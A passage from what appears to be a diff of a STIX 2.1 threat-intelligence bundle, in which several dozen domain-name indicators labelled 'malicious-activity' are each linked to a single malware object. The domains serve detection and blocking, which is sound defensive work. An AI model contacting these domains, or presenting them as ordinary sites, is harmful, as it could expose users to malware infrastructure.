"indicator--24d8e999-4ed7-472f-bae6-18a298e93d2b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8b922932-a376-4a5e-acae-98ee763f4d59", + "created": "2023-03-29T12:58:43.90291Z", + "modified": "2023-03-29T12:58:43.90291Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='swaytablet.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.90291Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f990541a-289e-485f-8a73-ac3e667ebfe1", + "created": "2023-03-29T12:58:43.903511Z", + "modified": "2023-03-29T12:58:43.903511Z", + "relationship_type": "indicates", + "source_ref": "indicator--8b922932-a376-4a5e-acae-98ee763f4d59", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7c6fef9a-9bbe-4c9f-81cb-06c4283997bc", + "created": "2023-03-29T12:58:43.903681Z", + "modified": "2023-03-29T12:58:43.903681Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='gettingbook.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.903681Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--acdc9bff-fa72-49af-bd2a-e761a546adfc", + "created": "2023-03-29T12:58:43.904276Z", + "modified": "2023-03-29T12:58:43.904276Z", + "relationship_type": "indicates", + "source_ref": "indicator--7c6fef9a-9bbe-4c9f-81cb-06c4283997bc", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d20793fc-d686-4e6b-8672-e2113a293f7c", + "created": "2023-03-29T12:58:43.904444Z", + "modified": "2023-03-29T12:58:43.904444Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='geologyalto.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.904444Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--16467f88-fd3e-4c62-a28c-519e235907e5", + "created": "2023-03-29T12:58:43.905039Z", + "modified": "2023-03-29T12:58:43.905039Z", + "relationship_type": "indicates", + "source_ref": "indicator--d20793fc-d686-4e6b-8672-e2113a293f7c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5b78391a-229a-4a0b-b94d-2147365e708e", + "created": "2023-03-29T12:58:43.905207Z", + "modified": "2023-03-29T12:58:43.905207Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='consolevisa.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.905207Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5d0f4b2a-597b-47c1-a8fa-d748f58967d0", + "created": "2023-03-29T12:58:43.90581Z", + "modified": "2023-03-29T12:58:43.90581Z", + "relationship_type": "indicates", + "source_ref": "indicator--5b78391a-229a-4a0b-b94d-2147365e708e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e95f1978-2413-4a06-8084-0baa89539685", + "created": "2023-03-29T12:58:43.90598Z", + "modified": "2023-03-29T12:58:43.90598Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='aerospacecesarean.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.90598Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--66a3928b-ede7-4efc-9680-1f25088a022c", + "created": "2023-03-29T12:58:43.906585Z", + "modified": "2023-03-29T12:58:43.906585Z", + "relationship_type": "indicates", + "source_ref": "indicator--e95f1978-2413-4a06-8084-0baa89539685", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c89092c0-b410-49d7-b341-4ee6f198bc6a", + "created": "2023-03-29T12:58:43.906753Z", + "modified": "2023-03-29T12:58:43.906753Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='curlinesscoerce.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.906753Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0d652be8-ffe1-4aa3-a980-75300df3b034", + "created": "2023-03-29T12:58:43.907372Z", + "modified": "2023-03-29T12:58:43.907372Z", + "relationship_type": "indicates", + "source_ref": "indicator--c89092c0-b410-49d7-b341-4ee6f198bc6a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9abfa410-3a8a-49bb-aeea-7efc7d99c22d", + "created": "2023-03-29T12:58:43.907544Z", + "modified": "2023-03-29T12:58:43.907544Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='canvaswealth.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.907544Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--be33922c-2a5b-4ce0-b731-1883ace0141b", + "created": "2023-03-29T12:58:43.908174Z", + "modified": "2023-03-29T12:58:43.908174Z", + "relationship_type": "indicates", + "source_ref": "indicator--9abfa410-3a8a-49bb-aeea-7efc7d99c22d", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--af344a12-8333-4e4c-991e-5190edd1fcda", + "created": "2023-03-29T12:58:43.90835Z", + "modified": "2023-03-29T12:58:43.90835Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cognitivepanda.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.90835Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d9803908-85f9-434f-9917-652fbed75c38", + "created": "2023-03-29T12:58:43.908953Z", + "modified": "2023-03-29T12:58:43.908953Z", + "relationship_type": "indicates", + "source_ref": "indicator--af344a12-8333-4e4c-991e-5190edd1fcda", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--da5036e3-514c-4048-b195-5031894c7fb5", + "created": "2023-03-29T12:58:43.909124Z", + "modified": "2023-03-29T12:58:43.909124Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='diplomaunified.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.909124Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--935dd51e-8e6b-430c-8c32-87c4ad7fb3ab", + "created": "2023-03-29T12:58:43.909872Z", + "modified": "2023-03-29T12:58:43.909872Z", + "relationship_type": "indicates", + "source_ref": "indicator--da5036e3-514c-4048-b195-5031894c7fb5", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--094527e4-6015-4337-8792-6ae62bd28f80", + "created": "2023-03-29T12:58:43.910073Z", + "modified": "2023-03-29T12:58:43.910073Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='frostlikeitalicize.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.910073Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bf2c111d-ee92-41b2-a4ea-1fdca41f5dbf", + "created": "2023-03-29T12:58:43.910687Z", + "modified": "2023-03-29T12:58:43.910687Z", + "relationship_type": "indicates", + "source_ref": "indicator--094527e4-6015-4337-8792-6ae62bd28f80", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3ca08275-9238-4c20-9350-7a3df6a42a44", + "created": "2023-03-29T12:58:43.910857Z", + "modified": "2023-03-29T12:58:43.910857Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='dangerplated.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.910857Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--80a5a151-b85a-42e5-9db8-d07b2701c848", + "created": "2023-03-29T12:58:43.911453Z", + "modified": "2023-03-29T12:58:43.911453Z", + "relationship_type": "indicates", + "source_ref": "indicator--3ca08275-9238-4c20-9350-7a3df6a42a44", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9818a4dd-4dcf-4285-92f1-bbe2942a09b8", + "created": "2023-03-29T12:58:43.911622Z", + "modified": "2023-03-29T12:58:43.911622Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='hashtubeless.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.911622Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0ace02e9-5873-4530-8889-33e0ecca11c4", + "created": "2023-03-29T12:58:43.912216Z", + "modified": "2023-03-29T12:58:43.912216Z", + "relationship_type": "indicates", + "source_ref": "indicator--9818a4dd-4dcf-4285-92f1-bbe2942a09b8", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b6d78143-34c7-4a16-ae01-95c17f9c5c5c", + "created": "2023-03-29T12:58:43.912384Z", + "modified": "2023-03-29T12:58:43.912384Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='backrestracoon.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.912384Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c6d207ec-af5a-4654-9ffe-7dfe4c1c1f48", + "created": "2023-03-29T12:58:43.912989Z", + "modified": "2023-03-29T12:58:43.912989Z", + "relationship_type": "indicates", + "source_ref": "indicator--b6d78143-34c7-4a16-ae01-95c17f9c5c5c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8f688773-2a39-4ba1-9e67-d0bd3ea1f8d1", + "created": "2023-03-29T12:58:43.91316Z", + "modified": "2023-03-29T12:58:43.91316Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='trustfulunsolved.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.91316Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--27060626-d414-405f-afb4-5368d8cdb4d5", + "created": "2023-03-29T12:58:43.913772Z", + "modified": "2023-03-29T12:58:43.913772Z", + "relationship_type": "indicates", + "source_ref": "indicator--8f688773-2a39-4ba1-9e67-d0bd3ea1f8d1", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--eb793d44-fc49-4ee5-bdeb-5614491234e1", + "created": "2023-03-29T12:58:43.913942Z", + "modified": "2023-03-29T12:58:43.913942Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bowlingshoein.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.913942Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--03646df3-58d9-4781-9a09-93f7e16895dd", + "created": "2023-03-29T12:58:43.91454Z", + "modified": "2023-03-29T12:58:43.91454Z", + "relationship_type": "indicates", + "source_ref": "indicator--eb793d44-fc49-4ee5-bdeb-5614491234e1", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6efdee4c-8e83-441c-9dd0-febdf1b83236", + "created": "2023-03-29T12:58:43.914709Z", + "modified": "2023-03-29T12:58:43.914709Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='copartnerretrieval.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.914709Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ab684120-2d67-4f08-adb1-94a2ff1af329", + "created": "2023-03-29T12:58:43.915314Z", + "modified": "2023-03-29T12:58:43.915314Z", + "relationship_type": "indicates", + "source_ref": "indicator--6efdee4c-8e83-441c-9dd0-febdf1b83236", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8a56e8c6-203b-4e35-8fbe-b47c428869e3", + "created": "2023-03-29T12:58:43.915482Z", + "modified": "2023-03-29T12:58:43.915482Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='onlinesenate.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.915482Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7ff7f6c3-575b-414a-a962-d53d562a102c", + "created": "2023-03-29T12:58:43.916089Z", + "modified": "2023-03-29T12:58:43.916089Z", + "relationship_type": "indicates", + "source_ref": "indicator--8a56e8c6-203b-4e35-8fbe-b47c428869e3", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e69c7629-0acb-4410-8c4e-fe1e15e13846", + "created": "2023-03-29T12:58:43.916258Z", + "modified": "2023-03-29T12:58:43.916258Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='stardustnet.uk']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.916258Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--44320a59-d3c9-43ae-a2cc-8b7d8a53b510", + "created": "2023-03-29T12:58:43.916968Z", + "modified": "2023-03-29T12:58:43.916968Z", + "relationship_type": "indicates", + "source_ref": "indicator--e69c7629-0acb-4410-8c4e-fe1e15e13846", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f4d68a45-7fec-46f6-960b-b9bfc43aa013", + "created": "2023-03-29T12:58:43.91714Z", + "modified": "2023-03-29T12:58:43.91714Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tropicsastride.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.91714Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b657a6a1-7bbb-469d-a2f5-8a4891deb11e", + "created": "2023-03-29T12:58:43.917767Z", + "modified": "2023-03-29T12:58:43.917767Z", + "relationship_type": "indicates", + "source_ref": "indicator--f4d68a45-7fec-46f6-960b-b9bfc43aa013", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6b021a35-f8c0-4d1c-bf17-ae9dddf679a6", + "created": "2023-03-29T12:58:43.91794Z", + "modified": "2023-03-29T12:58:43.91794Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='coerceunreal.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.91794Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ac8ade45-3f07-46de-a712-f0eaba1d03bf", + "created": "2023-03-29T12:58:43.91854Z", + "modified": "2023-03-29T12:58:43.91854Z", + "relationship_type": "indicates", + "source_ref": "indicator--6b021a35-f8c0-4d1c-bf17-ae9dddf679a6", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a5af437c-aeb7-449a-8eb4-381471cf0d63", + "created": "2023-03-29T12:58:43.918708Z", + "modified": "2023-03-29T12:58:43.918708Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='geigerspectrum.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.918708Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--94e23500-2cf1-476f-b22f-581af7e71537", + "created": "2023-03-29T12:58:43.919307Z", + "modified": "2023-03-29T12:58:43.919307Z", + "relationship_type": "indicates", + "source_ref": "indicator--a5af437c-aeb7-449a-8eb4-381471cf0d63", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--091a79a2-e7b5-41e0-b86e-006380c32e9b", + "created": "2023-03-29T12:58:43.919474Z", + "modified": "2023-03-29T12:58:43.919474Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='scarecrowgigahertz.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.919474Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a5850c75-eeda-4bb3-982f-7e089a983862", + "created": "2023-03-29T12:58:43.920094Z", + "modified": "2023-03-29T12:58:43.920094Z", + "relationship_type": "indicates", + "source_ref": "indicator--091a79a2-e7b5-41e0-b86e-006380c32e9b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8723f258-5894-4f27-84b1-6fb5636cdb54", + "created": "2023-03-29T12:58:43.920264Z", + "modified": "2023-03-29T12:58:43.920264Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='alyshacoffee.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.920264Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--26d3ed8c-92cf-4409-af41-6e7a055a571a", + "created": "2023-03-29T12:58:43.92086Z", + "modified": "2023-03-29T12:58:43.92086Z", + "relationship_type": "indicates", + "source_ref": "indicator--8723f258-5894-4f27-84b1-6fb5636cdb54", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--248b6ed1-0070-42be-a630-b3f070586b8e", + "created": "2023-03-29T12:58:43.921028Z", + "modified": "2023-03-29T12:58:43.921028Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='coffespots.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.921028Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5720ca4a-a222-4e26-ad6f-8a634f8b17f8", + "created": "2023-03-29T12:58:43.921634Z", + "modified": "2023-03-29T12:58:43.921634Z", + "relationship_type": "indicates", + "source_ref": "indicator--248b6ed1-0070-42be-a630-b3f070586b8e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0b8402d1-3ba4-426b-beab-0c584773575d", + "created": "2023-03-29T12:58:43.921807Z", + "modified": "2023-03-29T12:58:43.921807Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='papermake.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.921807Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0fbc4d59-9c29-435c-aba1-31abf532b5c6", + "created": "2023-03-29T12:58:43.922406Z", + "modified": "2023-03-29T12:58:43.922406Z", + "relationship_type": "indicates", + "source_ref": "indicator--0b8402d1-3ba4-426b-beab-0c584773575d", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9ce0fe76-a72c-4fe2-9348-0627743bca64", + "created": "2023-03-29T12:58:43.922575Z", + "modified": "2023-03-29T12:58:43.922575Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='humbleimporter.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.922575Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e8970904-d816-4e8e-a3fe-7c1fbf60e612", + "created": "2023-03-29T12:58:43.923171Z", + "modified": "2023-03-29T12:58:43.923171Z", + "relationship_type": "indicates", + "source_ref": "indicator--9ce0fe76-a72c-4fe2-9348-0627743bca64", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fa302a5a-2fad-49df-a2d0-57eb01807fc5", + "created": "2023-03-29T12:58:43.92334Z", + "modified": "2023-03-29T12:58:43.92334Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='stemcreate.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.92334Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0e1090f4-1efa-4ddd-8ffb-e51f59844898", + "created": "2023-03-29T12:58:43.924297Z", + "modified": "2023-03-29T12:58:43.924297Z", + "relationship_type": "indicates", + "source_ref": "indicator--fa302a5a-2fad-49df-a2d0-57eb01807fc5", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--70d633ad-3f34-4ae5-b684-b574dc74d84a", + "created": "2023-03-29T12:58:43.924505Z", + "modified": "2023-03-29T12:58:43.924505Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='humblingslapping.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.924505Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--76a49a07-aa3b-473d-96d0-edc7a37ceb02", + "created": "2023-03-29T12:58:43.925114Z", + "modified": "2023-03-29T12:58:43.925114Z", + "relationship_type": "indicates", + "source_ref": "indicator--70d633ad-3f34-4ae5-b684-b574dc74d84a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1f527e55-7e17-4008-b8d1-4b10a8325c8d", + "created": "2023-03-29T12:58:43.925282Z", + "modified": "2023-03-29T12:58:43.925282Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='forestwhite.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.925282Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f70ae4c2-e214-4d0c-9048-ad84ea190f54", + "created": "2023-03-29T12:58:43.925888Z", + "modified": "2023-03-29T12:58:43.925888Z", + "relationship_type": "indicates", + "source_ref": "indicator--1f527e55-7e17-4008-b8d1-4b10a8325c8d", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ae7ee5d8-32c9-4ae5-bc2a-7fef085ca5d6", + "created": "2023-03-29T12:58:43.926059Z", + "modified": "2023-03-29T12:58:43.926059Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='canteenjiffy.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.926059Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--09d5d0b7-353c-40a7-9b30-720899625c6e", + "created": "2023-03-29T12:58:43.926696Z", + "modified": "2023-03-29T12:58:43.926696Z", + "relationship_type": "indicates", + "source_ref": "indicator--ae7ee5d8-32c9-4ae5-bc2a-7fef085ca5d6", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9e63df35-89af-4b9a-b7c6-718ee30ff312", + "created": "2023-03-29T12:58:43.926873Z", + "modified": "2023-03-29T12:58:43.926873Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='harmonizebooth.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.926873Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1b2ee8a5-474d-4f82-8e12-b19ea3d63888", + "created": "2023-03-29T12:58:43.927474Z", + "modified": "2023-03-29T12:58:43.927474Z", + "relationship_type": "indicates", + "source_ref": "indicator--9e63df35-89af-4b9a-b7c6-718ee30ff312", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--13c32d3a-7d75-4582-8304-117d2bd10311", + "created": "2023-03-29T12:58:43.927641Z", + "modified": "2023-03-29T12:58:43.927641Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='shelvingmandolin.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.927641Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--071ffee3-7871-4a01-ba28-b11ddc608b9e", + "created": "2023-03-29T12:58:43.92824Z", + "modified": "2023-03-29T12:58:43.92824Z", + "relationship_type": "indicates", + "source_ref": "indicator--13c32d3a-7d75-4582-8304-117d2bd10311", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--56b3c8b6-1c64-448d-af52-4a806d6f9266", + "created": "2023-03-29T12:58:43.928408Z", + "modified": "2023-03-29T12:58:43.928408Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tacticstibia.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.928408Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b8112ca5-2014-4444-a797-ed9dee24f797", + "created": "2023-03-29T12:58:43.929021Z", + "modified": "2023-03-29T12:58:43.929021Z", + "relationship_type": "indicates", + "source_ref": "indicator--56b3c8b6-1c64-448d-af52-4a806d6f9266", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6a22d636-f6de-4024-b313-d33ab56820cb", + "created": "2023-03-29T12:58:43.929193Z", + "modified": "2023-03-29T12:58:43.929193Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='spiltswimming.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.929193Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f7ec73a8-0fd5-41fb-baa8-ed8c7ec73b7c", + "created": "2023-03-29T12:58:43.929805Z", + "modified": "2023-03-29T12:58:43.929805Z", + "relationship_type": "indicates", + "source_ref": "indicator--6a22d636-f6de-4024-b313-d33ab56820cb", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3ff23464-3f58-4c48-a17a-9965430939ed", + "created": "2023-03-29T12:58:43.929975Z", + "modified": "2023-03-29T12:58:43.929975Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='declaredremote.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.929975Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c150dbcb-6790-46b8-8de5-9cb148152893", + "created": "2023-03-29T12:58:43.930571Z", + "modified": "2023-03-29T12:58:43.930571Z", + "relationship_type": "indicates", + "source_ref": "indicator--3ff23464-3f58-4c48-a17a-9965430939ed", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--23f44b16-a38c-4293-b29e-fd77c40b3a1d", + "created": "2023-03-29T12:58:43.930737Z", + "modified": "2023-03-29T12:58:43.930737Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='statueretriever.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.930737Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bb6df6d3-35cc-4a5d-ad34-2f12aa86b29f", + "created": "2023-03-29T12:58:43.931355Z", + "modified": "2023-03-29T12:58:43.931355Z", + "relationship_type": "indicates", + "source_ref": "indicator--23f44b16-a38c-4293-b29e-fd77c40b3a1d", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--24a6f7b3-afe8-4e74-a279-49efbfa5efc4", + "created": "2023-03-29T12:58:43.931523Z", + "modified": "2023-03-29T12:58:43.931523Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='mangokeep.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.931523Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--07a08083-ed2d-474f-ad63-d44104ccae54", + "created": "2023-03-29T12:58:43.932235Z", + "modified": 